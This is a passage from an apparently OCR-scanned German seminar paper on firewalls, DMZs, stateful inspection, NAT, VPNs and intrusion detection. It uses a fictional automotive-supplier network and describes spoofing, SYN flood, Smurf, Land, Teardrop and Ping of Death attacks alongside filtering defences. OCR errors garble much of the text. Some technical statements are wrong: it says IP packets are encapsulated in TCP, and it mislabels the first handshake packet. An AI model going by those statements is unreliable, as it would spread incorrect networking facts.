tereinander kommunizieren, als ob sie im gleichen lokalen Netz wiren, wihrend harte Ver-
schliisselung fiir Abhorsicherheit sorgt. All diese Mafinahmen machen einem Angreifer zwar
das Leben schon deutlich schwerer, konnen einen Angriff aber noch nicht grundsétzlich verhin-
dern. Dies kénnen die zuletzt vorgestellten Intrusion Detection Systeme zwar auch nicht mit
absoluter Sicherheit, trotzdem stellen sie eine sinnvolle Ergénzung des Sicherheitskonzeptes
dar: sie versuchen, laufende Angriffe zu erkennen, und kénnen entsprechende Gegenmafinah-
men ergreifen, wie zum Beispiel Verbindungen abbrechen und den zustéindigen Administrator
informieren.

Diese Ausarbeitung wird sicherlich nicht alle Angriffsmoglichkeiten und Abwehtechniken vor-
stellen, sondern vielmehr Grundlagen vermitteln. Bei der Umsetzung eines konkreten Sicher-
heitskonzeptes sollten auch zuerst einige fundamental wichtige Fragen geklirt werden. Was
soll geschiitzt werden? Wie grofl wére der Schaden, falls der Schutz versagt? Wie “stark” ist ein
potentieller Angreifer, welche Mittel stehen ihm zur Verfiigung? Der bendtigte Aufwand fiir
einen angemessenen Schutz liegt sicherlich in vollkommen anderen Gréflenordnungen, wenn
man sich vor einem Geheimdienst anstatt vor gewohnlichen Kriminellen schiitzen mochte.

2 Firewalls

Bevor Firewalls und deren konkrete Anwendungsgebiete betrachtet werden widmet sich der
folgende Abschnitt zunéichst den zu Grunde liegenden Technologien.

2.1 Grundlagen

Das Internet besteht aus Millionen von Rechnern. Es diirfte einleuchtend sein, dass diese in
irgendeiner Form adressiert werden miissen, um einzelne davon anzusprechen. Als Identifi-
zierungsmerkmal dient hier die IP-Adresse, eine, beim am weitesten verbreiteten Standard
IPv4, 32 Bit lange Zahl. Ublicherweise wird diese nicht bitweise notiert, sondern dezimal in
vier Blocken mit je 8 Bit, beispielsweise 192.168.0.1. Um nun zwischen Rechnern im lokalen
Netz und entfernten Maschinen unterscheiden zu kénnen hilft die Angabe der Subnetzmaske.
Diese beschreibt durch len, welche Bits das Netzwerk identifizieren, und durch Oen, welche den
Host. Werden in unserem Beispiel die ersten 24 Bits als Netzwerkadresse betrachtet, so lautet
die zugehorige Subnetzmaske 255.255.255.0, anders (in CIDR-Notation[FuLi06]) ausgedriickt
das Netzwerk 192.168.0/24.

Nun wird es wohl ebenso einleuchtend sein, dass ein Rechner verschiedene Dienste anbieten
kann, die ebenso unterschieden werden miissen. Hierzu erfolgt die Angabe des sogenannten
Ports, einer Zahl zwischen 0 und 65535, an Hand derer das Zielsystem erkennen kann, an
welcher Anwendung die ankommenden Daten weitergeleitet werden sollen. Es gibt hierbei
iibliche Konventionen, die angeben sollen, welcher Diensttyp auf welchem Port lduft. Diese
finden sich beispielsweise unter Unix in der Datei /etc/services. Wichtig ist hierbei jedoch zu
bemerken, dass diese Konventionen nicht verpflichtend sind. Es wird niemand daran gehindert,
einen Webserver anstatt auf Port 80 auf einem beliebigen anderen Port laufen zu lassen.
Ob er da jedoch von der anvisierten Zielgruppe gefunden wird, ist eine andere Frage. Die
Kombination aus IP-Adresse und Port wird als Socket bezeichnet.

Wenn nun ein Rechner an einen anderen Daten verschicken mochte, so verpackt er diese in
ein IP-Paket, bestehend aus den Nutzdaten, Quell- und Zieladresse sowie weiteren Angaben
wie der Grofie des Pakets. Falls die Datenmenge zu grof} fiir ein einzelnes Paket werden sollte,
wird dieses in mehrere Pakete aufgespalten (fragmentiert), die vom Empféinger wieder zusam-
mengesetzt werden miissen. Dieses [P-Paket wird nun fiir den Transport in ein TCP-Paket
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gekapselt, welches zusétzliche Headerinformationen wie Quell- und Zielport, Sequenznummern
und Flags enthélt. Fragmentierung kann sowohl auf IP- als auch auf TCP-Ebene auftreten.

Diese Grundlagen sollten fiirs erste geniigen, an passender Stelle werden jedoch noch ei-
nige weitere Details betrachtet. Vertiefende Informationen zu TCP/IP und der TCP/IP-
Protokollfamilie wie den vollsténdigen Aufbau der Header finden sich in Richard Stevens
Standardwerk “T'CP/IP Illustrated, Volume 1: The Protocols”[Stev02].

2.1.1 Szenario

Nach all dieser Theorie findet sich in[1 ein realistisches Beispielszenario, anhand dessen die
moglichen Anwendungen von Firewalls in diesem Kapitel betrachtet werden. Eine Automo-
bilzulieferfirma habe zwei Abteilungen A und B. Jede Abteilung sei fiir die Kooperation mit
einem bestimmten Hersteller zustindig: Abteilung A fiir Hersteller X, Abteilung B fiir das
Konkurrenzunternehmen Y. Es diirfte klar sein, dass Kunden von Abteilung A keinen Einblick
in die andere Abteilung erhalten sollen, auch wenn sie Zugang zum firmeninternen Netz ha-
ben. Sinnvoll erscheint es, den Kunden keinen Zugang zu den internen Diensten zu gewihren,
und diesen somit keinen Zugangsdaten zur Verfiigung zu stellen. Dies ist jedoch noch nicht
ausreichend, denn es wére immernoch problemlos moglich durch das Netz laufenden Verkehr
mitzulauschen. Um somit noch ein weiteres Hindernis aufzustellen und auch das Abhéren von
Netzwerkverkehr zu verhindern, wird der Verkehr zwischen den beiden Abteilungen mit Hilfe
einer Firewall gefiltert.

192.168.0.4 192.168.0.8
NFS NFS
—— | Abteilung A Abteilung B |=——=
e  —
192.168.0.254]
— — T —
192.168.0.5 SMTP — 192.168.0.9
|

Abbildung 1: Unser erstes Beispielnetz.

Jede Abteilung besitze einen Server fiir Netzwerkfreigaben via Network File System (NF'S,
SCRT03]). Dieser wird beispielsweise fiir geheime Konstruktionspline genutzt, von denen
die Konkurrenz nichts erfahren darf. Fiir den Informationsaustausch zwischen den Abtei-
lungen und mit Auflenstehenden steht ein gemeinsam genutzter Server fiir das Simple Mail
Transfer Protocoll (SMTP, [Klen01]) zur Verfiigung.

Die beiden Abteilungen sind iiber einen Router mit mehreren Netzwerkschnittstellen mitein-
ander und mit dem Internet verbunden.
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2.2 Alligemeines

Eine Firewall ist, wie eingangs bereits angedeutet, ein Konzept, das die bedingte Weiterleitung
von TCP-Paketen ermoglicht. Praktisch umgesetzt wird dieses Konzept durch Paketfilter.
Hierzu wird ein Regelwerk aufgestellt, eine Sammlung an Bedingungen, mit einer Festlegung,
was mit Paketen geschehen soll, auf die eine Bedingung zutrifft. Hier gibt es wieder zwei
Herangehensweisen, die sich in ihrem Verhalten beziiglich Paketen, auf die keine Regel zutrifft,
unterscheiden. Entweder es wird definiert, welche Pakete erlaubt sind, und verwirft den Rest,
oder man definiert unerwiinschte Pakete und erlaubt jeglichen anderen Netzwerkverkehr.
Ersteres ist natiirlich die restriktivere, und damit meist sicherere Variante, fiir die jedoch
genau festgelegt werden muss, welche Dienste von wo aus erreichbar sein diirfen.

Dies fithrt zum néchsten Problem: Das Regelwerk einer Firewall kann duflerst komplex sein
und fiir dessen korrekte Aufstellung wird Detailwissen {iber die verwendeten Protokolle be-
notigt. Eine fehlerhaft konfigurierte Firewall bringt keinen wirklichen Sicherheitsgewinn, ein
falsches Sicherheitsgefiihl kann sich im Gegenteil sogar schidlich auswirken. Aus diesem Grun-
de werden auch die sogenannten Personal Firewalls des ofteren kritisiert. Deren Hersteller
versprechen einfache Konfigurierbarkeit und versuchen, Details vom Benutzer zu verbergen.
Desweiteren laufen sie auf dem Host, nicht dem Gateway nach drauflen. Es stellt sich nun
die Frage, ob es Sinn macht, das zu schiitzende System mit noch mehr angreifbarem Code
auszustatten, um es besser zu schiitzen. Viele Sicherheitsexperten beantworten diese Frage
mit nein und empfehlen den Einsatz einer Firewall auf den Gateways. Nichtsdestotrotz kann
der Nutzer einiges iiber den Netzwerkverkehr eines Systems mit Hilfe von Personal Fire-
walls lernen, indem er sie zuerst derart konfiguriert, dass sie simtliche Pakete blockieren, und
dann Stiick fiir Stiick versucht durch die richtigen Regeln einzelne Dienste zum Laufen zu

kriegen.|Donn07

2.3 Paketfilter

Zunichst wird die erste Anforderung aus dem Beispielszenario betrachtet: es soll aus einer
Abteilung nicht moglich sein, auf den NFS-Server in der anderen zuzugreifen, und umgekehrt.

Fin Paketfilter iiberpriift hierzu die Daten im Header jedes ankommenden Paketes. Diese sind
unterschiedlich, je nach verwendetem Protokoll. Bei TCP finden wir hier unter anderem Ziel-
und Absenderport, Checksumme, Flags zum Verbindungsstatus und die Sequenznummer,
beim verbindungslosen UDP fehlen die letzten beiden Informationen. Im Header eines IP-
Paketes finden wir zum Beispiel die Ziel- und Absenderadresse sowie die Time to live (TTL).

Das Ziel ist es also, Zugriffe aus dem jeweils anderen Netz zu erkennen, und diese Pakete dann
entweder kommentarlos zu verwerfen (DROP/DENY) oder den Quellrechner iiber eine Ver-
bindungsverweigerung zu informieren (REJECT), aber keinesfalls die Pakete weiterzuleiten
(FORWARD/PERMIT). Hierzu reicht die Betrachtung von Absender- und Zielsocket.

2.4 Demilitarisierte Zone (DMZ) und Exposed Hosts

Am zweiten gemeinsam genutzten Dienst im Beispielnetz, dem SMTP-Server, wird ein wei-
teres Konzept deutlich: die demilitarisierte Zone, kurz DMZ.

Prinzipiell gibe es mehrere Moglichkeiten diesen Server aufzustellen. Man kénnte ihn zum Bei-
spiel in eines der Abteilungsnetze legen. Das Problem hierbei: die andere Abteilung briauchte
dann Zugriff auf ebendieses Netz. Zwar kénnte man diesen Zugriff auch durch entsprechende
Filterregeln auf nur diesen einen Server beschrinken, doch was passiert, wenn ein besonders
engagierter Angreifer eine Sicherheitsliicke im SMTP-Server ausnutzt und es schafft, dort
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eigenen Code auszufithren? Er hidtte dann die Moglichkeit, den iibernommenen Server als
Briickenkopf in das andere Netz zu verwenden, und kann von dort aus seinen Angriff fortzu-
setzen. Die schiitzende Firewall hitte er damit erfolgreich umgangen. Dieser Losungsansatz
scheint also nicht sonderlich clever zu sein.

Was passiert nun, wenn der Server wie in/1 zwischen den Abteilungen positioniert wird? Selbst
wenn der Angreifer diesen Server iibernehmen wiirde, hitte er kaum etwas gewonnen: zwi-
schen ihm und seinem eigentlichen Angriffsziel liegt immernoch eine Firewall. Einen derartigen
Aufbau, bei dem gemeinsam genutzte Server oder Teilnetze mit dhnlichen sicherheitsrelevan-
ten Eigenschaften von anderen Netzen isoliert werden, nennt man eine demilitarisierte Zone

(DMZ)[Baue01].

Viele Hersteller von einfachen Routern bieten die Einrichtung einer DMZ in ihrer Konfigura-
tion an. Es wird dann fiir gew6hnlich ein Rechner angegeben, an den sémtlicher Datenverkehr
von auflen weitergeleitet wird. Dabei handelt es sich dann jedoch um einen exzposed Host, und
nicht eine DMZ, da der exposed Host fiir gewohnlich Teil des internen Netzes ist und somit
keine weitere Firewall fiir die geforderte Isolation zwischen Server und internem Netz sorgt.
Es wird also das Prinzip, dass wir einem Angreifer niemals mehr Moglichkeiten geben wollen,
als unbedingt notig sind, um die gewiinschten Dienste anbieten zu kénnen, verletzt.

2.5 Stateful Inspection

Eine genauere Betrachtung der Paketfilter aus den letzten Abschnitten zeigt jedoch noch ein
ungelostes Problem auf. Wenn ein Rechner aus Abteilung A nun eine Mail versenden will, so
baut er eine Verbindung zum SMTP-Server in der DMZ auf. Dies erlauben wir ihm durch
entsprechende Regeln im Paketfilter. Der SMTP-Server selbst muss jedoch im Laufe dieser
Verbindung auch Antworten in das Netz der Abteilung A versenden, was wir ihm ebenfalls
erlauben miissen. Hier sehen wir eine prinzipielle Beschrankung einfacher Paketfilter: der
SMTP-Server kénnte jederzeit Pakete ins die internen Netze versenden, unabhéngig davon,
ob gerade eine Verbindung besteht. Um dies zu unterbinden, sollte der Paketfilter sich beste-
hender Verbindungen bewusst sein und Pakete abh#ngig vom Verbindungsstatus behandeln.
Genau dies tun Stateful Inspection Paketfilter.
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Abbildung 2: Der TCP-Verbindungsaufbau. Lizenz: GFDL, Autoren:

http://de.wikipedia.org/w/index.php?title=Bild:Tcp-handshake.png&oldid=6968763

Um den Verbindungsstatus zu ermitteln wird der Aufbau einer TCP-Verbindung betrachtet,
der berithmten Drei- Wege-Handshake (“Three-way handshake®). Zuerst sendet der Client ein
Paket mit gesetztem SYN-Flag an den Server. Dieser antwortet mit einem Paket mit gesetzten
SYN- und ACK-Flags, welches wiederum durch ein Paket mit gesetztem ACK-Flag quittiert
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wird. Damit ist die TCP-Verbindung aufgebaut.[Post81b] Ein verbindungsbewusster Paket-
filter analysiert die ankommenden Pakete und entscheidet demnach, ob Pakete weitergeleitet
werden diirfen.

Es sieht zuerst das Paket mit gesetztem ACK-Flag und Sequenznummer z an den SMTP-
Server, das er nach den bekannten Regeln weiterleitet. Als néichstes kommt das Paket mit
gesetzten SYN- und ACK-Flags, einer neuen Sequenznummer y und ACK-Nummer x + 1 an.
Er erkennt nun, dass dies zum gerade gesehenen Verbindungsversuch gehért und leitet es in
das interne Netz weiter. Schliefllich sieht der Filter das Antwortpaket an den SMTP-Server
mit gesetztem ACK-Flag, der Sequenznummer x + 1 sowie der ACK-Nummer y + 1. Hier mit
ist die Verbindung aufgebaut und es wird eine neue Regel gesetzt, nach der der SM'TP-Server
nun auch direkt mit dem Client kommunizieren darf.

Die Vorgehensweise bei einem nicht verbindungsorientiertem Protokoll wie UDP ist dhn-
lich. In diesem Fall wird fiir jedes versendete Paket fiir kurze Zeit eine Regel gesetzt, sodass
die Antwortpakete ihr Ziel erreichen koénnen. Diese Technik wird von einigen Programmen
(beispielsweise Skype) verwendet, um Punkt-zu-Punkt Verbindungen durch Firewalls aufzu-
bauen. Hierzu senden die Kommunikationspartner je ein Paket mit ihrer Absender-IP und
dem Port des Dienstes an die Gegenstelle. Die dortige Firewall wird das Paket verwerfen, die
eigene Firewall jedoch legt eine temporire Weiterleitungsregel fiir die erwartete ”Antwort®
an. Wenn man dies nun auf beiden Seiten durchfiihrt, kann man danach eine direkte Verbin-
dung aufbauen, sofern die nun offenen Ports bekannt sind oder iiber einen dritten Rechner
bekannt gegeben werden. Es diirfte ersichtlich sein, dass dies von vielen Netzwerkadministra-
toren ungern gesehen wird, da mit dieser Methode systematisch Locher in das Firewallkonzept
geschossen werden konnen.
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Abbildung 3: Der TCP-Verbindungsabbau. Lizenz: GFDL, Autoren:

http://de.wikipedia.org/w/index.php?title=Bild:Tcp-teardown.png&oldid=17467272

Es gibe keinen groflen Sicherheitsgewinn, wenn die dynamisch angelegten Regeln ewig gelten
wiirden. Doch das tun sie natiirlich nicht. Mit dem Abbau (” Teardown*) der TCP-Verbindung
wird auch die Regel wieder entfernt. Falls der Abbau nie stattfindet, kommt ein Timeout-
mechanismus zum Zug, der nach einer gewissen Zeit ohne Pakete fiir eine bestimmte Ver-
bindung die zugehorigen, dynamisch angelegten Regeln aus dem Regelwerk 16scht. Dies ist
beispielsweise beim verbindungslosen UDP der Fall, bei beabsichtigten oder unbeabsichtigten
Paketverlusten, oder wenn einer der Kommunikationspartner ausfillt.

Der Aufwand fiir Stateful Inspection hélt sich ebenfalls in Grenzen. Eine Verbindung ist mit
der Analyse weniger Pakete erkannt, die Pakete fiir den eigentlichen Datenverkehr miissen
nurnoch weitergeleitet werden. Ebenso einfach ist der Verbindungsabbau bei TCP durch ein
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Paket mit gesetztem FIN-Flag zu erkennen. Diese Technik ist in den USA von der Firma
Check Point Software Technologies Ltd unter der Nummer 5.606.668 patentiert.[Ltd.97]

2.6 Netword Address Translation (NAT)

Der Leser mit Vorwissen wird es als selbstverstdndlich angesehen haben, dem aufmerksamen
Beobachter wird es aufgefallen sein, und dem Rest sei es hier nun erklart: die IP-Adressen
im Beispielnetz sind nicht zufillig gewéhlt. Das Netz 192.168/16 gehort, wie somit auch das
hier verwendete Subnetz 192.168.0/24, zu einem reservierten Adressbereich, der zur freien
Verfiigung freigegeben ist. Adressierungskonflikte werden nun dadurch vermieden, dass diese
Adressen nicht 6ffentlich verwendet und an Gateways in fremde Netze nicht weitergegeben
werden.[RMKG196] Doch wenn diese Adressen nicht éffentlich verwendet werden, wie ist es
dann moglich, dass wir von innen heraus Rechner im Internet erreichen und der SM'TP-Server
unseres Szenarios E-Mails aus dem WAN empfangen kann?

Hierzu wird Network Address Translation (NAT) verwendet.[SrEg01] Die Idee dahinter erin-
nert an verbindungsbewusste Paketfilter, geht jedoch noch etwas weiter. Was passiert also,
wenn ein Rechner aus dem privaten Netz Kontakt mit einer Maschine im Internet aufnehmen
mochte? Der Router sieht das erste Paket des Drei-Wege-Handshakes und wird dies nun ver-
andern: die Absenderadresse ersetzt er durch seine eigene, 6ffentliche Adresse, und korrigiert
die nun nichtmehr passenden Priifsummen im IP- und TCP/UDP-Header. Dieses verdnderte
Paket wird nun weitergeleitet und der Router merkt sich die Zieladresse, um Pakete dieser
Verbindung zu erkennen. Erreicht ihn nun ein Antwortpaket, so wird dies fiir den umgekehr-
ten Weg préapariert: die Zieladresse, bisher die 6ffentliche Adresse des Routers, wird durch die
private Adresse des Ziels ersetzt, die Checksummen werden wieder korrigiert, und das Paket
an das eigentliche Ziel gesendet. Dieses Vorgehen, bei dem nur die IP-Adressen angepasst
werden, nennt sich Basic NAT.

Dieses Vorgehen scheitert jedoch, sobald mehrere Rechner des internen Netzes den gleichen
externen Dienst aufrufen, da der Router keine Moglichkeit hat, diese beiden Verbindungen zu
unterscheiden. Moglich wird dies, indem der Router nicht nur die Absender-IP, sondern auch
den -Port betrachtet und eventuell dndert, falls zu diesem Socket bereits eine Verbindung
verzeichnet ist. Diese NAT-Variante nennt sich Network Address Port Translation (NATPT).

Mit den bis jetzt vorgestellten Methoden kénnen nun Verbindungen von innerhalb des Netzes
nach auflen aufgebaut werden, der umgekehrte Weg funktioniert noch nicht. Fiir diesen Zweck
gibt es Portweiterleitungen ("Port Forwarding”). Auch hier ist die grundlegende Idee nicht
schwer: wir definieren auf dem Router feste Weiterleitungsregeln fiir ankommende Pakete auf
bestimmten Ports. So kénnen wir beispielsweise festlegen, dass alle TCP- und UDP-Pakete
fiir den Port 25, unter Verwendung von NAT, an Port 25 unseres im privaten Netz liegen-
den SMTP-Server weitergeleitet werden sollen. Damit wurde schliefSlich das urspriingliche
Problem gelost.

Die Verwendung von NAT bringt mehrere Vorteile mit sich. Zuerst einmal sind die internen
Rechner von auflen nurnoch bedingt erreichbar, je nach Konfiguration auch komplett unsicht-
bar, die interne Netzwerkstruktur wird versteckt. Dies ist natiirlich ein grofies Problem aus
der Sicht von eventuellen Angreifern. Zudem werden 6ffentliche IP-Adressen gespart, es ergibt
sich also auch eine Kostenreduktion.

2.7 Mit Firewalls abwehrbare Angriffe

Firewalls mit ihren weitreichenden Filtermoglichkeiten konnen auch zur Erkennung und Ab-
wehr einfacher Angriffe genutzt werden, von denen nun beispielhaft einige betrachtet werden.
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Viele Angreifer versuchen ihre Identitét zu verschleiern, indem sie falsche Absenderinformatio-
nen in den Paketheadern hinterlassen (“IP-Spoofing“). Damit ist es ihnen zwar nicht moglich,
eine Antwort zu erhalten, aber oftmals sind diese fiir den Angreifer nicht von Nutzen, beispiels-
weise bei einem SYN-Flood. Hierbei versucht der Angreifer moglichst viele TCP-Verbindungen
zum Opfer aufzubauen, sendet aber nicht das letzte Paket des Drei-Wege-Handshakes. Dies
fiithrt zu einer groflen Zahl an sogenannten halboffenen Verbindungen beim Opfer. Irgendwann
sind dessen Ressourcen wie vorhandene Ports erschopft und es kann keine neuen Verbindun-
gen mehr annehmen. Das Dienstangebot des Opfers wurde somit auler Gefecht gesetzt, man
spricht von einem Denial of Service Angriff.

Der Losungsansatz hierzu ist einfach: wenn bekannt ist, welche Netzwerke an einer Netz-
werkschnittstellen angeschlossen sind, dann sollten von dort auch nur Pakete mit passender
Absenderadresse akzeptiert werden. Leider ist dieser Ansatz auch nicht perfekt. Wenn der
Angreifer seine Adresse garnicht verschleiern mochte hilft diese Strategie ebensowenig, wie
wenn der Angreifer eine Adresse aus seinem Netz als gefilschte Absenderadresse verwendet.
Derartige Filter nennen wir Ingress-Filter|FeSe98|. Wenn weltweit alle Provider derartige Fil-
ter einsetzen wiirden, dann wire es moglich einen Angreifer wenigstens mit Sicherheit bis zu
seinem Netz zuriickverfolgen. Dass dies je eintreten wird erscheint allerdings unrealistisch.

Eine weitere Form eines Angriffs ist die sogenannte Smurf-Attacke. Hierbei sendet der An-
greifer ein ICMP-Echo-Request ("Ping®) Paket an die Broadcastadresse eines Netzes. Als
Absender gibt er die Adresse des Opfers an. Dieses erhilt dann von allen Rechnern im Netz
ein ICMP-Echo-Reply Paket. Je nach Zahl der Rechner ist dieses Vorgehen geeignet, um die
Netzanbindung des Opfers voll auszulasten und somit dessen Erreichbarkeit einzuschrianken.
Als Gegenmafinahmen empfehlen sich hier Ingress-Filter in Verbindung mit der Filterung von
ICMP-Echo-Requests an eine Broadcastadresse sowie die generelle Nichtbeantwortung dieser
Requests durch die einzelnen Rechner im Netz.

Ebenso wunderbar durch Filter ldsst sich eine Land-Attacke abwehren. Bei dieser Angriffs-
form sendet der Angreifer ein TCP-Paket mit gesetztem SYN-Flag an das Opfer, wie bei
einem normalen Drei-Wege Handshake. Das besondere hierbei: als Absender enthélt das Pa-
ket wiederum die Adresse des Opfers. Dieses kann nun bei einer naiven Implementierung
des TCP/IP-Stacks an sich selbst mit einem Paket mit gesetztem SYN- und ACK-Flag ant-
worten. Das Paket wiederum kann das System als neuen Verbindungsaufbau ansehen, und
antwortet sich wiederum selbst. Der Vorgang fithrt zu einer Auslastung des Systems bis hin
zum Absturz. Von dieser Attacke waren beispielsweise verschiedene Versionen von Microsoft
Windows, FreeBSD und Router von Cisco betroffen. Die Abwehrstrategie ist wieder einfach:
Router sollten Pakete filtern, bei denen Quell- und Zieladresse identisch sind.

Sowohl TCP als als auch IP bieten die Moglichkeit Daten, die fiir ein Netzwerk zu grof3
sind, in mehrere kleinere Pakete aufzusplitten. Beispielsweise betridgt die maximale Paketgro-
Be (Mazximum transfer unit, MTU) bei Ethernet 1500 Bytes, beim beispielsweise bei DSL-
Verbindungen eingesetzten PPPoE jedoch nur < 1492 Bytes. Falls nun ein Paket fiir den
néichsten Netzabschnitt zu grofl ist, kann es entweder verworfen werden, oder es wird in
mehrere kleine Pakete fragmentiert. Diese enthalten dann eine Offset-Angabe, die ihre Po-
sition im Gesamtpaket angibt, sodass dieses beim Empfanger wieder rekonstruiert werden
kann.[Post81a] Diese Funktionalitit machen sich Angreifer in Form von Teardrop-Attacken
und des Ping of Death zu Nutze, die mehrere Pakete verwenden, die das Opfer dann wieder
zusammenfiigen soll. Beim Teardrop sind die Pakete so gestaltet, dass sich die Offsets der
einzelnen Pakete iiberlappen. Systeme, die diesen ungewodhnlichen Fall der Fragmentierung
nicht richtig behandeln, konnen abstiirzen. Beim Ping of Death wiederum wird ein ICMP-
Echo-Request Paket so fragmentiert, dass das zusammengefiigte Gesamtpaket die maximal
erlaubte Grofle von 65535 Bytes iiberschreitet. Dies fithrt auf Systemen, die diesen Fall nicht
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richtig behandeln, zu einem Buffer Overflow. Dieser ermégliche je nach Implementierung die
Ausfiihrung von Schadcode durch den Angreifer oder den Absturz des Opfersystems.

Zusammenfassend kann also gesagt werden, dass die Filterung ungiiltiger Pakete eine sinn-
volle Mafinahme darstellt, da diese beim Zielsystem im Falle korrekter Bearbeitung sowieso
verworfen werden wiirden, sich jedoch im Falle eines Fehlers verheerend auswirken kénnen.
Die Frage, welche Pakete ungiiltig sind, ist dabei aber nicht immer einfach zu kldren, denn die
Standards erlauben oft Interpretationsspielraum, was beispielsweise an der Teardrop-Attacke
gut gesehen werden kann. Eine Liste mit weiteren Angriffen findet sich in [Matt00].

Die Problematik der Fragmentierung von Paketen wird in[4.3 noch einmal im Rahmen der
Einbruchserkennungssysteme eine wichtige Rolle spielen.

3 Virtual Private Networks (VPNs)

In den bisherigen Uberlegung war immer die volle Kontrolle iiber das verwendete Netz gege-
ben. Die Abteilungen im Beispielszenario waren iiber ein lokales Netz miteinander verbunden,
an dem nur uns bekannte Rechner arbeiteten. Das hat einige Probleme erspart. Wenn Netz-
werkverkehr durch ein fremdes, und damit nicht vertrauenswiirdiges Netz, geschicket wird,
dann besteht die Gefahr, dass die Kommunikation belauscht oder sogar manipuliert wird. Der
Datentransfer muss also geschiitzt werden, indem eine Ende-zu-Ende Verschliisselung zwi-
schen den beteiligten Kommunikationspartnern eingesetzt wird. Auch muss die Authentizitét
des Gegeniibers sichergestellt werden. Dies miisste man fiir jedes der eingesetzten Protokolle
tun. Und selbst dann wiirden Lauscher noch sehen kénnen, welche Dienste in Anspruch ge-
nommen werden, wenn auch die eigentlich iibertragenen Informationen verschliisselt wurden.
Doch selbst das Wissen, welche Dienste wann in verwendet werden, kénnte dem Angreifer
bereits einen Vorteil verschaffen was man daran sieht, dass viel mehr Daten nach den Ge-
setzentwiirfen zur Vorratsdatenspeicherung in Deutschland beispielsweise auch nicht erhoben
werden. Wenn es jedoch moglich wird, unseren kompletten Datenverkehr durch ein einziges,
moglichst verschliisseltes Protokoll zu tunneln, dann bliebe dem Angreifer nurnoch die In-
formation iiber den Zeitpunkt der Kommunikation. Genau dies versuchen virtuelle private
Netze (”Virtual Private Networks®, VPN). Wie konnen diese nun helfen, die Sicherheit im
Beispielszenario zu erhéhen?

3.1 Szenario

Fiir ein praxisnahes Beispiel wird das Szenario aus dem vorhergehenden Abschnitt erweitert.

Der Automobilzulieferer hat inzwischen sein Geschéftsfeld erweitert und neue Kunden ge-
wonnen. Somit ist eine neue Abteilung C hinzugekommen, die jedoch nichtmehr im selben
Gebaude angesiedelt ist, sondern irgendwo sonst auf der Welt. Das es sehr teuer wire, eigene
Leitungen zu verlegen liegt es nahe, diese Abteilung iiber das Internet mit dem Firmennetz
zu verbinden. Somit muss samtliche Kommunikation tiber fremde, nicht vertrauenswiirdige
Netze laufen. Ein Ahnliches Szenario wiirde sich ergeben, wenn AuBendienstmitarbeiter von
verschiedensten fremden Netzen aus Dienste innerhalb des Firmennetzes in Anspruch nehmen
miissen. Es besteht also Bedarf an einer Losung fiir die eingangs erwéhnten Probleme.

Hier steht die imaginére Firma nun vor einer Designentscheidung. Dass die Einrichtung des
VPNs auf den einzelnen Clients mit hohem Aufwand verbunden ist, wurde bereits gesehen.
Es bleibt die Implementierung auf dem Router, der die Abteilungen mit dem Internet verbin-
det. Dieser sollte erkennen, dass ein Paket fiir einen entfernten Teil unseres Netzes bestimmt
ist, und es {iber ein VPN-Protokoll getunnelt iiber das Internet an das Zielnetz weiterlei-
ten. Auch hier gibt es wieder zwei Moglichkeiten: diese Arbeit kann der FEdge-Router zum
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Abbildung 4: Beispielnetz mit iiber das WAN verbundenen Teilnehmern

Internet iibernehmen, oder sie kann durch den Service Provider iibernommen werden, der
das VPN auf seinem Edge-Router zum Firmennetz aufsetzt. Wenn sich die Firma selbst um
die Implementierung des VPNs kiimmert hat sie natiirlich eine grofiere Kontrolle dariiber,
insbesondere falls das Vertrauen in den Provider nicht sonderlich grof} ist. Falls eine derartige
Vertrauensgrundlage jedoch besteht, dann kann eine Auslagerung des Dienstes eine Menge
Arbeit abnehmen.[RoRe06]

3.2 Kategorien von VPNs

VPNs koénnen je nach Anwendungszweck und daraus resultierenden Aufbau in drei Kategorien
eingeteilt werden.

3.2.1 Site-to-Site

Site-to-Site VPNs sind VPNs wie im Szenario. Hierbei verbinden wir mehrere lokale Netze
zu einem grofleren, virtuellen Netz. Dieser Vorgang lduft fiir die einzelnen Rechner im Netz
transparent ab, eine Anpassung auf Clientseite ist also nicht erforderlich. Einige Literatur
unterteilt diese Form von VPNs weiter in Intranet- und Eztranet-VPNs. Bei ersteren ver-
binden wir nur unsere eigenen Netze miteinander, beispielsweise einen Firmenhauptsitz mit
den Zweigstellen. Bei Extranet-VPNs kommen nun noch beschrinkte Zugénge fiir weitere
Partner, wie Zulieferfirmen, hinzu. Damit dies funktioniert, miissen natiirlich Vereinbarungen
beziiglich der verwendeten Protokolle festgelegt werden.

3.2.2 End-to-Site/Remote-Access

End-to-Site- bzw Remote-Access- VPNs sind VPNs, bei denen einzelne Rechner mit dem VPN
verbunden werden. Ein typischer Einsatzzweck wiren Zugénge in das Firmennetz fiir Auflen-
dienstmitarbeiter. Diese arbeiten tagtéglich von anderen Orten aus, benétigen dennoch unter
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Umsténden aktuelle, interne Daten. Uber die Verwendung von VPN-Technologien kénnen
diese von jedem Ort mit Internetzugang aus an diese Informationen kommen.

3.2.3 End-to-End

End-to-End-VPNs wiederum verbinden mehrere einzelne Rechner direkt miteinander. Eine
Anwendung hierfiir wire der sichere Zahlungsverkehr iiber das Internet mittels einer direkten
Verbindung des Kunden mit dem Buchungsserver.

4 Intrusion Detection Systeme (IDS)

Bisher haben wurde versucht, einem potentiellen Angreifer von aufien moglichst garnicht in
unser Netz kommen zu lassen, oder seine Zugriffsmoglichkeiten zumindest soweit wie moglich
einzuschrinken. Manchmal miissen jedoch auch auflenstehenden Dienste angeboten werden,
wie im Falle des SMTP-Servers im Beispielszenario. Auch sagen leider viele Statistiken, dass
Angriffe sehr oft nicht von aufien, sondern von innen stattfinden.[Team06] Und gegen An-
greifer von innen haben wir bisher kaum Schutzvorkehrungen gesehen. Schlimmer noch: die
Konsequenzen von Denial of Service Angriffen erkennt der zustdndige Administrator duflert
schnell dank der vielen Nutzer, die sich am Telefon iiber nicht funktionierende Dienste be-
schweren. Ein Angreifer von innen, der geheime Dokumente kopiert, wird sich jedoch alle
Miihe geben nicht weiter aufzufallen. In solchen Féllen ist der beste Administrator kaum in
der Lage, einen Angriff zu erkennen, denn ein grofles Netz kann ein Mensch kaum manuell
iiberwachen. Auflerdem braucht jeder Administrator, unabhingig von der Giite der Kaffee-
versorgung, auch einmal ein paar Stunden Schlaf. Man erkennt, worauf diese Uberlegungen
hinauslaufen: wenn der Mensch Angriffe nicht erkennen kann, dann miissen wir diese Auf-
gabe eben an unsere Rechner delegieren, die mit Einbruchserkennungssystemen (”Intrusion
Detection®) ausgestattet werden.

4.1 Arten von IDS

Bei der Kategorisierung von IDS kénnen zwei Dimensionen betrachtet werden. Zum einen gibt
